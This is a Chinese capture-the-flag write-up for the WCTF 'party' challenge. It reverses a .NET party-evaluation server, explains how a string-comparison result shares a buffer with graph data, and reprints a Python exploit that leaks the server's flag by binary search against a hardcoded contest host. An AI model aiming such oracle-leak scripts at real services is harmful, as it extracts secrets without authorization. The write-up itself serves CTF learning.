悄咪咪的参加了WCTF的线上赛,本弱鸡表示一脸懵逼,当时只看了party和Cyber_Mimic_Defense。反正是没做出来,赛后看了
WCTF-party
总结下party的解法。
顺便还是.net逆向初体验233.
0x00
附件就一个exe文件
打开大约是这样的,一个是server功能,一个是client功能。很显然我们要获取server上存储的flag。
客户端能进行的操作
- 可以设置party的guest
- 可以给guest添加friendship
- 设置Erods Scruity
- Evaluate Party目测是和服务器通讯
评价后会有
我然后抓了下包看了下通信的协议,大致是这样的
2 \暂时用途不明
x \ 总共的guest数,example: 4
v \Erdos security ,example:10 (最大是10
n \ n组配对的好友 example: 2
a b \两个int,表示好友在储存的下标 (0 1)(2 3)
好像没有什么值得利用的地方,只能开始看看源码了
0x01
查阅资料得知,这是.net程序,于是用dnSpy打开进行逆向,还好没加壳。
首先看到发信的地方,有个switch,根据数据的第一个协议决定运行哪个模块
- 一个简单的输出
- 用户界面实际使用的协议,解释了前面2的用途
-
一个flag接受+检查机制
查了下Compare方法
所有的查询存在了comm的0-3 bytes里。 -
如果全是0则表示存在该子串
- 如果flag>text 则返回一个正数
- flag<text则返回一个负数。
显然我们无法直接从这个检查机制处获得flag,那么我们看看还有没有其他的方向。
0x02
看到了前面switch=2时候的工作。
int num4 = (num * num - num) / 2 / 8;//总共可能有多少种配对方式,并对comm从2开始的下标进行初始化为0.
for (int i = 0; i < num4; i++)
{
this.comm[2 + i] = 0;
}
这段比较有趣,每个人可以和剩下的n-1一个人配对,除以2是为了避免重复。这构成了一个无向的图。
但是他除以了8对结果进行了截断。
显然两者都用到了comm这个数组,也就说前面的对字符串比较的操作可能会影响到后面的这个判决。
如果之前的操作导致了数组的最后一位被置位1,则软件可能会认为这个图里多了一条边,这就可能导致底下的判决错误。
0x03
上文提到在进行字符串比对的时候,compare返回了一个int32的整数,并且以小端序存在了comm 0-3 字节。返回是负数的时候则以补码形式存储。
根据补码规则
- 如果一个数是正数则它大多数位为0
- 如果是负数,则大多数为1。
又,因为存储方式为小端,也就说低位先存,则最重要的符号位置则是存在comm[3]中。
然而我们又想操纵整个图的边的数量为1 or 0,那么我们就要另储存图初始化的时候不要初始化到comm[3]。
显然 6个guest可以满足。
(nodes * nodes - nodes) / 2 / 8=0;
则此时初始化只到了comm[2],也就说我们comm[3]中的内容可以影响关于整个图的判断了。
0x04
图的判断逻辑:
- 如果一个图的security个node是全部断开的,则不通过,例如security=6,如果6个节点都是独立的则不通过。
- 反之,如果6个guest有1个连通边则就可以了。
判断flag逻辑:
- 如果输入的text<flag,返回正数,comm[3]=0,返回approve
- 如果输入的text>flag,返回负数,comm[3]=-1,返回disapprove。
- 如果输入为存在字串则返回correct。
因此根据二分查找就可以爆破出flag。贴出原wp的exp。
from socket import socket
import time
host = '180.163.241.15'
port = 10658
def testflag(flag):
sock = socket()
sock.connect((host, port))
# overwrite comm
sock.send(b'3\n')
sock.send(b'1\n') # one line
sock.send(flag.encode() + b'\n')
res = b''
while not (b'Correct' in res or b'Incorrect' in res):
time.sleep(0.1)
res += sock.recv(1024)
print(res)
if b'Correct' in res:
return 0
# leak sign bit
sock.send(b'2\n')
sock.send(b'6\n') # 6 nodes
sock.send(b'6\n') # threshold = 6
sock.send(b'0\n') # no edges
res = b''
while not b'party' in res:
time.sleep(0.1)
res += sock.recv(1024)
print(res)
sock.close()
if b'does not approve' in res:
return 1 # flag is bigger
elif b'approves' in res:
return -1 # flag is smaller
else:
raise Exception('something wrong')
flag = ''
newchar = ''
for l in range(100):
flag += newchar
print(l)
print(flag)
minv = 0x20
maxv = 0x7e
while minv != maxv:
newchar = chr(minv + (maxv - minv) // 2)
newflag = flag + newchar
print(minv, maxv)
res = testflag(newflag)
if res > 0:
# character is too small, or the string is too short
minv = minv + (maxv - minv + 1) // 2
elif res < 0:
# character is too big
maxv = minv + (maxv - minv) // 2
else:
print('Flag found!', newflag)
exit()
# check off-by-one because of the different string length
if testflag(flag + newchar) < 0:
newchar = chr(ord(newchar) - 1)
-
Party To Player.zip 下载
神奇的题目